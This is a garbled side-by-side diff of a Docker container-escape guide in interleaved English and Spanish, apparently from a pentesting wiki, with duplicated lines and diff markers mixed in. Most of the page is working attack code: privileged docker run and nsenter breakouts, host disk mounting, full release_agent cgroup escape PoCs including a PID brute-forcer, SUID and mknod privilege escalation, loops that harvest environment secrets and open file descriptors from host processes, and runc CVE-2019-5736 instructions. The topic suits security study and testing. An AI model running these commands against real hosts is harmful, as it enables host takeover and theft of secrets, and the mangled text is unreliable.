docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
``` ```
> [!NOTE]
> En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///path/to/docker.sock`**
El daemon de Docker también podría estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el daemon de Docker puede ocurrir a través del socket de Systemd `fd://`.
> [!NOTE] > [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** > Además, presta atención a los sockets de tiempo de ejecución de otros entornos de alto nivel:
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> >
> - dockershim: `unix:///var/run/dockershim.sock` > - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock` > - containerd: `unix:///run/containerd/containerd.sock`
@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
> - rktlet: `unix:///var/run/rktlet.sock` > - rktlet: `unix:///var/run/rktlet.sock`
> - ... > - ...
## Capabilities Abuse Escape ## Abuso de Capacidades para Escapar
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** Debes verificar las capacidades del contenedor, si tiene alguna de las siguientes, podrías ser capaz de escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
Puedes verificar las capacidades actuales del contenedor usando **herramientas automáticas mencionadas anteriormente** o:
```bash ```bash
capsh --print capsh --print
``` ```
En la siguiente página puedes **aprender más sobre las capacidades de linux** y cómo abusar de ellas para escapar/escalar privilegios:
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
{{#ref}} {{#ref}}
../../linux-capabilities.md ../../linux-capabilities.md
{{#endref}} {{#endref}}
## Escape from Privileged Containers ## Escape de Contenedores Privilegiados
A privileged container can be created with the flag `--privileged` or disabling specific defenses: Un contenedor privilegiado puede ser creado con la bandera `--privileged` o deshabilitando defensas específicas:
- `--cap-add=ALL` - `--cap-add=ALL`
- `--security-opt apparmor=unconfined` - `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host` - `--cgroupns=host`
- `Mount /dev` - `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. La bandera `--privileged` reduce significativamente la seguridad del contenedor, ofreciendo **acceso irrestricto a dispositivos** y eludiendo **varias protecciones**. Para un desglose detallado, consulta la documentación sobre los impactos completos de `--privileged`.
{{#ref}} {{#ref}}
../docker-privileged.md ../docker-privileged.md
{{#endref}} {{#endref}}
### Privileged + hostPID ### Privilegiado + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Con estos permisos puedes simplemente **moverte al espacio de nombres de un proceso que se ejecuta en el host como root** como init (pid:1) solo ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
Prueba esto en un contenedor ejecutando:
```bash ```bash
docker run --rm -it --pid=host --privileged ubuntu bash docker run --rm -it --pid=host --privileged ubuntu bash
``` ```
### Privilegiado
### Privileged Solo con la bandera privilegiada puedes intentar **acceder al disco del host** o intentar **escapar abusando de release_agent u otras escapatorias**.
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
Prueba los siguientes bypasses en un contenedor ejecutando:
```bash ```bash
docker run --rm -it --privileged ubuntu bash docker run --rm -it --privileged ubuntu bash
``` ```
#### Montaje de Disco - Poc1
#### Mounting Disk - Poc1 Los contenedores de docker bien configurados no permitirán comandos como **fdisk -l**. Sin embargo, en un comando de docker mal configurado donde se especifica la bandera `--privileged` o `--device=/dev/sda1` con mayúsculas, es posible obtener los privilegios para ver la unidad del host.
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
![](https://bestestredteam.com/content/images/2019/08/image-16.png) ![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial: Así que para tomar el control de la máquina host, es trivial:
```bash ```bash
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
``` ```
¡Y voilà! Ahora puedes acceder al sistema de archivos del host porque está montado en la carpeta `/mnt/hola`.
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. #### Montaje de Disco - Poc2
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
Dentro del contenedor, un atacante puede intentar obtener un acceso adicional al sistema operativo subyacente del host a través de un volumen hostPath escribible creado por el clúster. A continuación se presentan algunas cosas comunes que puedes verificar dentro del contenedor para ver si puedes aprovechar este vector de ataque:
```bash ```bash
### Check if You Can Write to a File-system ### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger) ### debugfs (Interactive File System Debugger)
debugfs /dev/sda1 debugfs /dev/sda1
``` ```
#### Escape de privilegios Abusando del release_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC ```bash:Initial PoC
# spawn a new container to exploit via: # spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash # docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output # Reads the output
cat /o cat /o
``` ```
#### Escape de privilegios abusando de release_agent creado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC ```bash:Second PoC
# On the host # On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output # Reads the output
cat /output cat /output
``` ```
Encuentra una **explicación de la técnica** en:
Find an **explanation of the technique** in:
{{#ref}} {{#ref}}
docker-release_agent-cgroups-escape.md docker-release_agent-cgroups-escape.md
{{#endref}} {{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3 #### Escape Privilegiado Abusando de release_agent sin conocer la ruta relativa - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isnt always the case. In cases where you **dont know the absolute path of the container inside the host** you can use this technique: En los exploits anteriores, se **divulga la ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, este no siempre es el caso. En casos donde **no conoces la ruta absoluta del contenedor dentro del host**, puedes usar esta técnica:
{{#ref}} {{#ref}}
release_agent-exploit-relative-paths-to-pids.md release_agent-exploit-relative-paths-to-pids.md
{{#endref}} {{#endref}}
```bash ```bash
#!/bin/sh #!/bin/sh
@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1 TPID=1
while [ ! -f ${OUTPUT_PATH} ] while [ ! -f ${OUTPUT_PATH} ]
do do
if [ $((${TPID} % 100)) -eq 0 ] if [ $((${TPID} % 100)) -eq 0 ]
then then
echo "Checking pid ${TPID}" echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ] if [ ${TPID} -gt ${MAX_PID} ]
then then
echo "Exiting at ${MAX_PID} :-(" echo "Exiting at ${MAX_PID} :-("
exit 1 exit 1
fi fi
fi fi
# Set the release_agent path to the guessed pid # Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent # Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1)) TPID=$((${TPID} + 1))
done done
# Wait for and cat the output # Wait for and cat the output
@ -309,9 +282,7 @@ sleep 1
echo "Done! Output:" echo "Done! Output:"
cat ${OUTPUT_PATH} cat ${OUTPUT_PATH}
``` ```
Ejecutar el PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a:
Executing the PoC within a privileged container should provide output similar to:
```bash ```bash
root@container:~$ ./release_agent_pid_brute.sh root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100 Checking pid 100
@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
... ...
``` ```
#### Escape de Privilegios Abusando de Montajes Sensibles
#### Privileged Escape Abusing Sensitive Mounts Hay varios archivos que pueden estar montados que dan **información sobre el host subyacente**. Algunos de ellos pueden incluso indicar **algo que debe ser ejecutado por el host cuando sucede algo** (lo que permitirá a un atacante escapar del contenedor).\
El abuso de estos archivos puede permitir que:
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ - release_agent (ya cubierto antes)
The abuse of these files may allow that:
- release_agent (already covered before)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page: Sin embargo, puedes encontrar **otros archivos sensibles** para verificar en esta página:
{{#ref}} {{#ref}}
sensitive-mounts.md sensitive-mounts.md
{{#endref}} {{#endref}}
### Arbitrary Mounts ### Montajes Arbitrarios
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasnt correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
En varias ocasiones encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no fue configurado correctamente, podrías ser capaz de **acceder/modificar datos sensibles**: Leer secretos, cambiar ssh authorized_keys…
```bash ```bash
docker run --rm -it -v /:/host ubuntu bash docker run --rm -it -v /:/host ubuntu bash
``` ```
### Escalación de privilegios con 2 shells y montaje de host
### Privilege Escalation with 2 shells and host mount Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario no privilegiado al host** y tienes acceso de lectura sobre la carpeta montada.\
Puedes crear un **archivo suid de bash** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para escalar privilegios.
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
```bash ```bash
cp /bin/bash . #From non priv inside mounted folder cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container # You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder bash -p #From non priv inside mounted folder
``` ```
### Escalación de privilegios con 2 shells
### Privilege Escalation with 2 shells Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **privesc dentro del host** si tienes la capacidad MKNOD dentro del contenedor (es por defecto) como [**se explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tal capacidad, el usuario root dentro del contenedor puede **crear archivos de dispositivos de bloque**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso para **leer los datos en bruto en el disco del sistema**.
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor.
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Ejemplo de **explotación** de este [**informe**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash ```bash
# On the container as root # On the container as root
cd / cd /
@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
``` ```
### hostPID ### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: Si puedes acceder a los procesos del host, podrás acceder a mucha información sensible almacenada en esos procesos. Ejecuta el laboratorio de pruebas:
``` ```
docker run --rm -it --pid=host ubuntu bash docker run --rm -it --pid=host ubuntu bash
``` ```
Por ejemplo, podrás listar los procesos usando algo como `ps auxn` y buscar detalles sensibles en los comandos.
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. Luego, como puedes **acceder a cada proceso del host en /proc/ solo puedes robar sus secretos de entorno** ejecutando:
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
```bash ```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ /proc/988058/environ
@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd USER=abrgocd
... ...
``` ```
También puedes **acceder a los descriptores de archivo de otros procesos y leer sus archivos abiertos**:
You can also **access other processes file descriptors and read their open files**:
```bash ```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt less fds.txt
@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with: # You can open the secret filw with:
cat /proc/635813/fd/4 cat /proc/635813/fd/4
``` ```
También puedes **matar procesos y causar un DoS**.
You can also **kill processes and cause a DoS**.
> [!WARNING] > [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** > Si de alguna manera tienes **acceso privilegiado sobre un proceso fuera del contenedor**, podrías ejecutar algo como `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` para **ejecutar un shell con las mismas restricciones de ns** (esperemos que ninguna) **que ese proceso.**
### hostNetwork ### hostNetwork
``` ```
docker run --rm -it --network=host ubuntu bash docker run --rm -it --network=host ubuntu bash
``` ```
Si un contenedor fue configurado con el Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host), y el contenedor no recibe su propia dirección IP asignada. En otras palabras, el **contenedor vincula todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. Por ejemplo, puedes usar esto para **esnifar e incluso suplantar tráfico** entre el host y la instancia de metadatos.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. Como en los siguientes ejemplos:
Like in the following examples:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). También podrás acceder a **servicios de red vinculados a localhost** dentro del host o incluso acceder a los **permisos de metadatos del nodo** (que pueden ser diferentes a los que un contenedor puede acceder).
### hostIPC ### hostIPC
```bash ```bash
docker run --rm -it --ipc=host ubuntu bash docker run --rm -it --ipc=host ubuntu bash
``` ```
Con `hostIPC=true`, obtienes acceso a los recursos de comunicación entre procesos (IPC) del host, como **memoria compartida** en `/dev/shm`. Esto permite leer/escribir donde los mismos recursos IPC son utilizados por otros procesos del host o del pod. Usa `ipcs` para inspeccionar estos mecanismos IPC más a fondo.
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. - **Inspeccionar /dev/shm** - Busca archivos en esta ubicación de memoria compartida: `ls -la /dev/shm`
- **Inspeccionar instalaciones IPC existentes** Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` ### Recuperar capacidades
- **Inspect existing IPC facilities** You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
Si la syscall **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando:
```bash ```bash
unshare -UrmCpf bash unshare -UrmCpf bash
# Check them with # Check them with
cat /proc/self/status | grep CapEff cat /proc/self/status | grep CapEff
``` ```
### Abuso del espacio de nombres de usuario a través de symlink
### User namespace abuse via symlink La segunda técnica explicada en la publicación [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica cómo puedes abusar de los montajes vinculados con espacios de nombres de usuario, para afectar archivos dentro del host (en ese caso específico, eliminar archivos).
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVEs ## CVEs
### Runc exploit (CVE-2019-5736) ### Exploit de Runc (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el _**/bin/sh**_ binario del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ Cambia la carga útil en consecuencia y construye el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de docker para su ejecución.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, necesitas ejecutar lo siguiente desde la máquina host:
`docker exec -it <container-name> /bin/sh` `docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file. Esto activará la carga útil que está presente en el archivo main.go.
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE] > [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) > Hay otros CVEs a los que el contenedor puede ser vulnerable, puedes encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape ## Escape Personalizado de Docker
### Docker Escape Surface ### Superficie de Escape de Docker
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). - **Espacios de nombres:** El proceso debe estar **completamente separado de otros procesos** a través de espacios de nombres, por lo que no podemos escapar interactuando con otros procs debido a los espacios de nombres (por defecto no pueden comunicarse a través de IPCs, sockets unix, servicios de red, D-Bus, `/proc` de otros procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited). - **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios son limitados).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` - **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. - **Syscalls**: Estas son las syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Las otras syscalls podrían usarse para intentar escapar.
{{#tabs}} {{#tabs}}
{{#tab name="x64 syscalls"}} {{#tab name="x64 syscalls"}}
```yaml ```yaml
0x067 -- syslog 0x067 -- syslog
0x070 -- setsid 0x070 -- setsid
@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load 0x140 -- kexec_file_load
0x141 -- bpf 0x141 -- bpf
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="arm64 syscalls"}} {{#tab name="syscalls arm64"}}
``` ```
0x029 -- pivot_root 0x029 -- pivot_root
0x059 -- acct 0x059 -- acct
@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module 0x111 -- finit_module
0x118 -- bpf 0x118 -- bpf
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="syscall_bf.c"}} {{#tab name="syscall_bf.c"}}
````c ````c
// From a conversation I had with @arget131 // From a conversation I had with @arget131
// Fir bfing syscalss in x64 // Fir bfing syscalss in x64
@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main() int main()
{ {
for(int i = 0; i < 333; ++i) for(int i = 0; i < 333; ++i)
{ {
if(i == SYS_rt_sigreturn) continue; if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue; if(i == SYS_select) continue;
if(i == SYS_pause) continue; if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue; if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue; if(i == SYS_exit) continue;
if(i == SYS_clone) continue; if(i == SYS_clone) continue;
if(i == SYS_fork) continue; if(i == SYS_fork) continue;
if(i == SYS_vfork) continue; if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue; if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue; if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue; if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue; if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue; if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue; if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue; if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout); printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n"); printf("Error\n");
else else
printf("OK\n"); printf("OK\n");
} }
} }
``` ```
```` ````
{{#endtab}} {{#endtab}}
@ -633,12 +574,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host - Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host** - You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host - You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality - Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References ## References
@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
